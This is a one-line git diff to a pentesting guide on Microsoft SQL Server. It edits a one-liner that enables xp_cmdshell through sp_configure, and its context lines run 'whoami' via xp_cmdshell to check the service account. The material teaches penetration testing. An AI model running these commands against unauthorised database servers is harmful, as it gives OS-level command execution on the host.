diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
index 7786e5349..174f00ae7 100644
--- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
+++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
@@ -223,7 +223,7 @@ sp_configure 'xp_cmdshell', '1'
 RECONFIGURE
 
 #One liner
-sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
+EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
 
 # Quickly check what the service account is via xp_cmdshell
 EXEC master..xp_cmdshell 'whoami'